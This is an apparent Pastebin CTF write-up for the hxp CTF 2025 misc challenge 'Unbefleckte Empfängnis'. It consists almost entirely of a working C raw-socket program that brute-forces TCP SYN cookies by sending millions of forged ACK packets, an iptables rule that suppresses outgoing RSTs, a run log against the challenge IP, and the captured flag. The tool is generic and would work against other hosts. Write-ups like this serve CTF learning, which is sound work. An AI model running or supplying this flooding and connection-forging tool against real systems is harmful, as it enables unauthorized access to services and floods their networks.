hubertf

hxp CTF 2025: misc - Unbefleckte Empfängnis

Jan 1st, 2026
82
0
Never
5
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.92 KB | None | 0 0
  1. hxp CTF 2025: misc - Unbefleckte Empfängnis
  2. hubertf, 2025-12-30
  3.  
  4.  
  5. Analysis:
  6. Opens TCP connection to read flag
  7. Firewalling for SYN flag -> first packet of 3-way handshake is bad
  8. Guess TCP SYN Cookie
  9. Use C version for speed
  10.  
  11.  
  12. Solution:
  13.  
  14. 39c3$ cat brute.c
  15. /*
  16. * SYN-Cookie Brute Force - Immaculate TCP CTF
  17. * Compile: gcc -O3 -o brute brute.c -lpthread
  18. * Run: sudo ./brute 46.224.125.47
  19. */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <unistd.h>
  25. #include <sys/socket.h>
  26. #include <netinet/ip.h>
  27. #include <netinet/tcp.h>
  28. #include <arpa/inet.h>
  29. #include <pthread.h>
  30. #include <signal.h>
  31. #include <time.h>
  32.  
  33. #define DPORT 1996
  34.  
  35. volatile int success = 0;
  36. volatile long packets_sent = 0;
  37.  
  38. struct pseudo_header {
  39. u_int32_t source_address;
  40. u_int32_t dest_address;
  41. u_int8_t placeholder;
  42. u_int8_t protocol;
  43. u_int16_t tcp_length;
  44. };
  45.  
  46. unsigned short checksum(void *b, int len) {
  47. unsigned short *buf = b;
  48. unsigned int sum = 0;
  49. unsigned short result;
  50.  
  51. for (sum = 0; len > 1; len -= 2)
  52. sum += *buf++;
  53. if (len == 1)
  54. sum += *(unsigned char*)buf;
  55. sum = (sum >> 16) + (sum & 0xFFFF);
  56. sum += (sum >> 16);
  57. result = ~sum;
  58. return result;
  59. }
  60.  
  61. void *receiver_thread(void *arg) {
  62. char *target = (char*)arg;
  63. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  64. if (sockfd < 0) {
  65. perror("receiver socket");
  66. return NULL;
  67. }
  68.  
  69. char buffer[65536];
  70. struct sockaddr_in source;
  71. socklen_t slen = sizeof(source);
  72.  
  73. while (!success) {
  74. int size = recvfrom(sockfd, buffer, sizeof(buffer), 0,
  75. (struct sockaddr*)&source, &slen);
  76. if (size < 0) continue;
  77.  
  78. struct iphdr *iph = (struct iphdr*)buffer;
  79. struct tcphdr *tcph = (struct tcphdr*)(buffer + iph->ihl * 4);
  80.  
  81. char src_ip[INET_ADDRSTRLEN];
  82. inet_ntop(AF_INET, &iph->saddr, src_ip, sizeof(src_ip));
  83.  
  84. if (strcmp(src_ip, target) == 0 && ntohs(tcph->source) == DPORT) {
  85. printf("\n[+] Response from %s! flags=0x%02x\n",
  86. src_ip, tcph->th_flags);
  87.  
  88. // Check for data
  89. int tcp_header_len = tcph->doff * 4;
  90. int ip_header_len = iph->ihl * 4;
  91. int data_offset = ip_header_len + tcp_header_len;
  92. int data_len = size - data_offset;
  93.  
  94. if (data_len > 0) {
  95. printf("[FLAG] ");
  96. fwrite(buffer + data_offset, 1, data_len, stdout);
  97. printf("\n");
  98. success = 1;
  99. }
  100. }
  101. }
  102.  
  103. close(sockfd);
  104. return NULL;
  105. }
  106.  
  107. void *sender_thread(void *arg) {
  108. char *target = (char*)arg;
  109.  
  110. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  111. if (sockfd < 0) {
  112. perror("sender socket");
  113. return NULL;
  114. }
  115.  
  116. int one = 1;
  117. setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
  118.  
  119. // Get local IP
  120. int temp_sock = socket(AF_INET, SOCK_DGRAM, 0);
  121. struct sockaddr_in temp_addr;
  122. temp_addr.sin_family = AF_INET;
  123. temp_addr.sin_port = htons(80);
  124. inet_pton(AF_INET, target, &temp_addr.sin_addr);
  125. connect(temp_sock, (struct sockaddr*)&temp_addr, sizeof(temp_addr));
  126.  
  127. struct sockaddr_in local_addr;
  128. socklen_t len = sizeof(local_addr);
  129. getsockname(temp_sock, (struct sockaddr*)&local_addr, &len);
  130. close(temp_sock);
  131.  
  132. char local_ip[INET_ADDRSTRLEN];
  133. inet_ntop(AF_INET, &local_addr.sin_addr, local_ip, sizeof(local_ip));
  134. printf("[*] Source IP: %s\n", local_ip);
  135.  
  136. // Packet buffer
  137. char packet[4096];
  138. memset(packet, 0, sizeof(packet));
  139.  
  140. struct iphdr *iph = (struct iphdr*)packet;
  141. struct tcphdr *tcph = (struct tcphdr*)(packet + sizeof(struct iphdr));
  142. struct pseudo_header psh;
  143.  
  144. // IP header
  145. iph->ihl = 5;
  146. iph->version = 4;
  147. iph->tos = 0;
  148. iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  149. iph->id = 0;
  150. iph->frag_off = 0;
  151. iph->ttl = 64;
  152. iph->protocol = IPPROTO_TCP;
  153. iph->check = 0;
  154. iph->saddr = local_addr.sin_addr.s_addr;
  155. inet_pton(AF_INET, target, &iph->daddr);
  156.  
  157. // Destination
  158. struct sockaddr_in dest;
  159. dest.sin_family = AF_INET;
  160. inet_pton(AF_INET, target, &dest.sin_addr);
  161.  
  162. // Pseudo header for TCP checksum
  163. psh.source_address = iph->saddr;
  164. psh.dest_address = iph->daddr;
  165. psh.placeholder = 0;
  166. psh.protocol = IPPROTO_TCP;
  167. psh.tcp_length = htons(sizeof(struct tcphdr));
  168.  
  169. srand(time(NULL));
  170.  
  171. while (!success) {
  172. for (int i = 0; i < 1000 && !success; i++) {
  173. // Random values
  174. tcph->source = htons(1024 + (rand() % 64000));
  175. tcph->dest = htons(DPORT);
  176. tcph->seq = htonl(rand());
  177. tcph->ack_seq = htonl(rand());
  178. tcph->doff = 5;
  179. tcph->fin = 0;
  180. tcph->syn = 0;
  181. tcph->rst = 0;
  182. tcph->psh = 0;
  183. tcph->ack = 1;
  184. tcph->urg = 0;
  185. tcph->window = htons(65535);
  186. tcph->check = 0;
  187. tcph->urg_ptr = 0;
  188.  
  189. // Compute checksum
  190. char pseudogram[4096];
  191. memcpy(pseudogram, &psh, sizeof(psh));
  192. memcpy(pseudogram + sizeof(psh), tcph, sizeof(struct tcphdr));
  193. tcph->check = checksum(pseudogram, sizeof(psh) + sizeof(struct tcphdr));
  194.  
  195. sendto(sockfd, packet, iph->tot_len, 0,
  196. (struct sockaddr*)&dest, sizeof(dest));
  197. packets_sent++;
  198. }
  199.  
  200. if (packets_sent % 100000 == 0) {
  201. double prob = 1.0 - pow(1.0 - 17.0/(1<<24), packets_sent);
  202. printf("[*] Sent %ld packets - P(hit)=%.1f%%\n",
  203. packets_sent, prob * 100);
  204. }
  205. }
  206.  
  207. close(sockfd);
  208. return NULL;
  209. }
  210.  
  211. int main(int argc, char *argv[]) {
  212. if (argc < 2) {
  213. printf("Usage: %s <target_ip>\n", argv[0]);
  214. return 1;
  215. }
  216.  
  217. char *target = argv[1];
  218.  
  219. printf("==================================================\n");
  220. printf("SYN-Cookie Brute Force - Immaculate TCP Challenge\n");
  221. printf("==================================================\n");
  222. printf("[*] Target: %s:%d\n", target, DPORT);
  223. printf("[*] Probability per packet: ~17/2^24 ≈ 1/1M\n");
  224. printf("\n");
  225. printf("IMPORTANT: Block outgoing RST first!\n");
  226. printf(" sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d %s -j DROP\n", target);
  227. printf("\n");
  228.  
  229. pthread_t recv_tid, send_tid;
  230. pthread_create(&recv_tid, NULL, receiver_thread, target);
  231. sleep(1);
  232. pthread_create(&send_tid, NULL, sender_thread, target);
  233.  
  234. pthread_join(send_tid, NULL);
  235. pthread_join(recv_tid, NULL);
  236.  
  237. printf("\n[+] Done! Sent %ld packets total.\n", packets_sent);
  238. return 0;
  239. }
  240. 39c3$ gcc -O3 -o brute brute.c -lpthread -lm
  241. 39c3$
  242.  
  243.  
  244. Run it:
  245.  
  246. 39c3$ # Block RST from kernel (else kernel kills connection)
  247. 39c3$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 46.224.125.47 -j DROP
  248. 39c3$ sudo ./brute 46.224.125.47
  249. ==================================================
  250. SYN-Cookie Brute Force - Immaculate TCP Challenge
  251. ==================================================
  252. [*] Target: 46.224.125.47:1996
  253. [*] Probability per packet: ~17/2^24 ≈ 1/1M
  254.  
  255. IMPORTANT: Block outgoing RST first!
  256. sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 46.224.125.47 -j DROP
  257.  
  258. [*] Source IP: 151.219.194.184
  259.  
  260. [+] Response from 46.224.125.47! flags=0x04
  261.  
  262. [+] Response from 46.224.125.47! flags=0x04
  263.  
  264.  
  265. [+] Response from 46.224.125.47! flags=0x04
  266.  
  267. [+] Response from 46.224.125.47! flags=0x04
  268.  
  269. [+] Response from 46.224.125.47! flags=0x04
  270.  
  271. [+] Response from 46.224.125.47! flags=0x04
  272.  
  273. [+] Response from 46.224.125.47! flags=0x04
  274.  
  275. [+] Response from 46.224.125.47! flags=0x18
  276. [FLAG] hxp{c0n9R4Tz__y0U_viRg1N_b1RtH3d_4_TCP_C0nn3cTi0n}
  277.  
  278.  
  279. [+] Done! Sent 2168845 packets total.
  280.  
Tags: CTF hxp
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment